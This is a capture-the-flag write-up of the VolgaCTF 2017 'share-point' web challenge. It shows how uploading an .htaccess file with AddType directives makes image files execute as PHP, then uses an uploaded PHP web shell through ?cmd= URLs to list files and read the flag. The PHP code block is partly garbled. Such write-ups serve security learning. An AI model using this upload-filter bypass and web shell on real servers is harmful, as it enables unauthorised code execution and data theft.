### Login
Weak authenticationAfter playing around with the credential fields you get some errors / warnings that tell you the requirements.
**User name:** Must be atleast 4 characters**Password:** Any 8 characters. (If another user is logged in, as that username it may error and say wrong password).
### File upload
Right away redirected to a file upload. Ok lets upload a picture and see what happens, upload freakazoid.png.  Can navigate to it and view the picture.  Notice everything is PHP. Great lets try a PHP file with command execution inside.
```?cmd=ls` to see if I could get the php to execute my commands. Nothing worked! 
I stumbled around for along time, but 2-3 more hours exploring fuctionality of sharing, exploring the `Content-type` field in the `POST` request using burp.  Tried LFI, directory traversal.
I openend some php file upload filter evasion links, and read them thoroughly, after playing with the `Content-type` a post about `.htaccess` file types caught my eye. I had NOT tried that. Let's try it.
I Create a blank file called `file.htaccess`. It uploaded! Ok the link said to upload the file `.htaccess` to the server and have the contents:
```AddType application/x-httpd-php .jpgAddType application/x-httpd-php .png```
What does this do? the `AddType` in an `.htaccess` file can tell the webserver to run many other extensions types as PHP, one reason why `.html` files work with PHP inside of them.
Uploading `.htaccess` worked. I then uploaded my PHP code execution file (code above) as the file `file.png`. I navigated to the link from the Files section of the website.
`http://share-point.quals.2017.volgactf.ru/files/AAAA/kek.php.png`
I then added the parameter (again from the code above) `?cmd=` to the end to verify if PHP would execute.
`http://share-point.quals.2017.volgactf.ru/files/AAAA/kek.php.png?cmd=ls`
Success!!!!!!
`http://share-point.quals.2017.volgactf.ru/files/AAAA/kek.php.png?cmd=ls+-al`
Works!
Ok, lets just see if this works:
`http://share-point.quals.2017.volgactf.ru/files/AAAA/kek.php.png?cmd=locate flag`
Success again! Multiple results! The first is `/opt/flag.txt` lets see what is inside.
`http://share-point.quals.2017.volgactf.ru/files/AAAA/kek.php.png?cmd=cat%20/opt/flag.txt`
THE FLAG IS IN HERE!!!!
VolgaCTF{AnoTHer_apPro0Ach_to_file_Upl0Ad_with_PhP}